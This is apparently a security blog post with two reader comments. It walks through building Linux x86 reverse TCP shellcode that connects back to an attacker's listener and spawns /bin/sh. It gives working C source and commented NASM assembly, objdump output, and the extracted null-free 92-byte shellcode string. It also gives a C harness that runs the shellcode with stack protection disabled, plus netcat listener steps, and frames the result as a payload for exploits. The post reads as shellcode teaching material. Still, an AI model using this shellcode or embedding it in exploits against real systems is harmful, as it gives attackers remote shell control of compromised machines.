Reverse TCP Bind Shellcode

A Linux x86 assembly language program to enable a reverse tcp connection to bind to a shell on a remote host. In a reverse connection the compromised system will run the shellcode which in turn will attempt to connect to an attackers system which is listening for said connection.

To build anything you normally need a foundation, this one being a working C language program that will do what is required. From this code it is possible to then work backwards, refining and optimising the code on the way. Comments are added to enable more complete cross referencing while reading between the differing code implementations, though the code should be fairly self explanatory. The assembly language snippets where taken, and altered slightly, from a disassembly of the binary using objdump, e.g.
$ objdump -d reversetcpbindshellc -M intel
Output has not been reproduced due to length and the usefulness of wasting blog space.

Note:
Socket code is among the most standard of code to be found on the internet and it seldom differs, I would be loathe to claim all code in this post as my own as it is based off research and examples found in places too numerous to mention, my feet are most defintely planted on the shoulders of giants.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int 
main(void) 
{
	int sockfd;  
	struct sockaddr_in attacker_addr;   
	socklen_t sinsize;
	
	/*
 	push ecx        ; push null
	push byte 0x6   ; push IPPROTO_TCP value
	push byte 0x1   ; push SOCK_STREAM value
	push byte 0x2   ; push AF_INET
	mov ecx, esp    ; ecx contains pointer to socket() args
	int 0x80        ; make the call, eax contains sockfd                       
	mov esi, eax    ; esi now contains sockfd
	*/
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

	/*
	mov bl, 0x02 	; preparation for AF_INET
	push dword 0x0a01a8c0 ; (192.168.1.10)
	push word 0x697a ; port number 31337
	push word bx 	; push AF_INET
	inc bl 	        ; connect()
	mov ecx, esp    ; ecx contains pointer to sockaddr struct
	push byte 0x10  ; push socklen_t addrlen
	push ecx        ; push const struct sockaddr *addr
	push esi        ; push socket file descriptor
	mov ecx, esp    ; ecx contains pointer to connect() args
	int 0x80
	*/
	attacker_addr.sin_family = AF_INET;
	attacker_addr.sin_port = htons(31337);
	attacker_addr.sin_addr.s_addr = inet_addr("10.51.53.4");
	memset(&(attacker_addr.sin_zero),'\0',8);
	connect(sockfd, (struct sockaddr *)&attacker_addr, 
		sizeof(struct sockaddr));

	/*
	mov ebx, eax    ; ebx contains dupsockfd
	xor ecx, ecx    ; zero ecx register
	mov cl, 0x3     ; set counter
	dupfd:
	dec cl          ; decrement counter
	mov al, 0x3f    ; dup2()
	int 0x80        ; make the call
	jne dupfd       ; loop until 0
	*/
	dup2(sockfd,0); // stdin
	dup2(sockfd,1); // stdout
	dup2(sockfd,2); // stderr

	/*
	push edx        ; push null
	push 0x68732f6e ; hs/n
	push 0x69622f2f ; ib//
	mov ebx, esp    ; ebx contains address of //bin/sh
	push edx        ; push null
	push ebx        ; push address of //bin/sh
	mov ecx, esp    ; ecx pointer to //bin/sh
	push edx        ; push null
	mov edx, esp    ; edx contains pointer to null
	mov al, 0xb     ; execve()
	int 0x80        ; make the call
	*/
	execve("/bin/sh", NULL, NULL);
}

Build the code:
$ gcc reversetcpbindshellc.c -o reversetcpbindshellc

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./reversetcpbindshellc
on the attack system a connection message should now appear, shell access is now available on the compromised system. Trying typing in some commands to prove this is the case.

Using the above C program as a reference it is easier to work out what is required in the development of an assembly language equivalnet. Therefore the following program is written, from the disassembly of the C binary, to allow for use as shellcode within a exploit payload. To this end the shellcode produced is free from NULLs and is as compact as possible, or at least as compact as I can make it, for now. Extensive comments have been added to the assembly language code for study purposes.

global _start
section .text
_start:
    ; Socket
    ; Function prototype:
	; 	int socket(int domain, int type, int protocol)
	; Purpose:
	;	creates an endpoint for communications, returns a
	;	descriptor that will be used thoughout the code to
	;	bind/listen/accept communications
	xor eax, eax    ; zero eax register
	xor ebx, ebx    ; zero ebx register
	xor ecx, ecx    ; zero ecx register
	xor edx, edx    ; zero edx register
	mov al, 0x66    ; socketcall()
	mov bl, 0x1     ; socket() call number for socketcall
	push ecx        ; push null
	push byte 0x6   ; push IPPROTO_TCP value
	push byte 0x1   ; push SOCK_STREAM value
	push byte 0x2   ; push AF_INET
	mov ecx, esp    ; ecx contains pointer to socket() args
	int 0x80
	mov esi, eax    ; esi contains socket file descriptor
	; Connect
	; Function protoype:
	; 	int connect(int sockfd, const struct sockaddr *addr,
    ;   	socklen_t addrlen)
    ; Purpose:
    ;   initiate a connection on socket referred by the file
    ;	descriptor to the address specified in addr.
	mov al, 0x66	; socketcall()
	xor ebx, ebx	; zero ebx
	mov bl, 0x02 	; preparation for AF_INET
	push dword 0x0a01a8c0 ; (192.168.1.10)
	push word 0x697a ; port number 31337
	push word bx 	; push AF_INET
	inc bl 	        ; connect()
	mov ecx, esp    ; ecx contains pointer to sockaddr struct
	push byte 0x10  ; push socklen_t addrlen
	push ecx        ; push const struct sockaddr *addr
	push esi        ; push socket file descriptor
	mov ecx, esp    ; ecx contains pointer to connect() args
	int 0x80
	; Dup2
	; Function prototype:
	; 	int dup2(int oldfd, int newfd)
	; Purpose:
	;	duplicate a file descriptor, copies the old file
	;	descriptor to a new one allowing them to be used
	;	interchangably, this allows all shell ops to/from the
	;	compomised system
    mov ebx, eax    ; ebx contains descriptor of accepted socket
	xor ecx, ecx    ; zero ecx register
	mov cl, 0x3     ; set counter
dupfd:
	dec cl          ; decrement counter
	mov al, 0x3f    ; dup2()
	int 0x80
	jne dupfd       ; loop until 0
	; Execve
	; Function descriptor:
	; 	int execve(const char *fn, char *const argv[],
	;		char *const envp[])
	; Purpose:
	;	to execute a program on a remote and/or compromised
	;	system. There is no return from using execve therefore
	;	an exit syscall is not required
	xor eax, eax    ; zero eax register
	push edx        ; push null
	push 0x68732f6e ; hs/n
	push 0x69622f2f ; ib//
	mov ebx, esp    ; ebx contains address of //bin/sh
	push edx        ; push null
	push ebx        ; push address of //bin/sh
	mov ecx, esp    ; ecx pointer to //bin/sh
	push edx        ; push null
	mov edx, esp    ; edx contains pointer to null
	mov al, 0xb     ; execve()
	int 0x80

Build the code:
$ nasm -felf32 -o reversetcpbindshell.o reversetcpbindshell.asm
$ ld -o reversetcpbindshell reversetcpbindshell.o

Check for nulls:
$ objdump -D reversetcpbindshell -M intel

reversetcpbindshell:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	31 db                	xor    ebx,ebx
 8048064:	31 c9                	xor    ecx,ecx
 8048066:	31 d2                	xor    edx,edx
 8048068:	b0 66                	mov    al,0x66
 804806a:	b3 01                	mov    bl,0x1
 804806c:	51                   	push   ecx
 804806d:	6a 06                	push   0x6
 804806f:	6a 01                	push   0x1
 8048071:	6a 02                	push   0x2
 8048073:	89 e1                	mov    ecx,esp
 8048075:	cd 80                	int    0x80
 8048077:	89 c6                	mov    esi,eax
 8048079:	b0 66                	mov    al,0x66
 804807b:	31 db                	xor    ebx,ebx
 804807d:	b3 02                	mov    bl,0x2
 804807f:	68 c0 a8 01 0a       	push   0xa01a8c0
 8048084:	66 68 7a 69          	pushw  0x697a
 8048088:	66 53                	push   bx
 804808a:	fe c3                	inc    bl
 804808c:	89 e1                	mov    ecx,esp
 804808e:	6a 10                	push   0x10
 8048090:	51                   	push   ecx
 8048091:	56                   	push   esi
 8048092:	89 e1                	mov    ecx,esp
 8048094:	cd 80                	int    0x80
 8048096:	89 c3                	mov    ebx,eax
 8048098:	31 c9                	xor    ecx,ecx
 804809a:	b1 03                	mov    cl,0x3

0804809c <dupfd>:
 804809c:	fe c9                	dec    cl
 804809e:	b0 3f                	mov    al,0x3f
 80480a0:	cd 80                	int    0x80
 80480a2:	75 f8                	jne    804809c <dupfd>
 80480a4:	31 c0                	xor    eax,eax
 80480a6:	52                   	push   edx
 80480a7:	68 6e 2f 73 68       	push   0x68732f6e
 80480ac:	68 2f 2f 62 69       	push   0x69622f2f
 80480b1:	89 e3                	mov    ebx,esp
 80480b3:	52                   	push   edx
 80480b4:	53                   	push   ebx
 80480b5:	89 e1                	mov    ecx,esp
 80480b7:	52                   	push   edx
 80480b8:	89 e2                	mov    edx,esp
 80480ba:	b0 0b                	mov    al,0xb
 80480bc:	cd 80                	int    0x80

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./reversetcpbindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,

$ objdump -d ./reversetcpbindshell | grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-6 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’

“\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80”

The shellcode can be copied and pasted into a test program, similar to the one below. The #define IPADDR and PORT is to allow for the simple configuration of IP Address and Port.

#include <stdio.h>

/*
 ipaddr 192.168.1.10 (c0a8010a)
 port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3"
"\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd"
"\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe\xc3"
"\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89"
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
"\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52"
"\x89\xe2\xb0\x0b\xcd\x80";

main()
{
	printf("Shellcode Length: %dn", sizeof(code)-1);
	int (*ret)() = (int(*)())code;
	ret();
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test above executable using two systems (virtual or otherwise):
Open a terminal on the attack system,
$ nc -l -v 31337
the attack system will await a connection from the compromised system.

Open a terminal on the system to be compromised,
$ ./reversetcpbindshell
on the attack system a connection message should now appear, shell access is now available on the compromised system. Try typing in some commands to prove this is the case.

The shellcode above currently weighs in at 92 bytes. With further research the codebase could possibly be reduced, especially on architectures other than x86, but that will be for another blog post.

Update1: Shell-storm database entry here.
Update2: Exploit-db database entry here.

6 thoughts on “Reverse TCP Bind Shellcode

    • Hi,
      Thank you for your kind comment.
      I try my best to make the code and explanations as clear as I possibly can, basically because I have such a bad memory.
      -Russell

  1. Thanks, this code let me learn what a reverse bind shell is in 5 minutes. I’m trying to start learning about shellcode.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s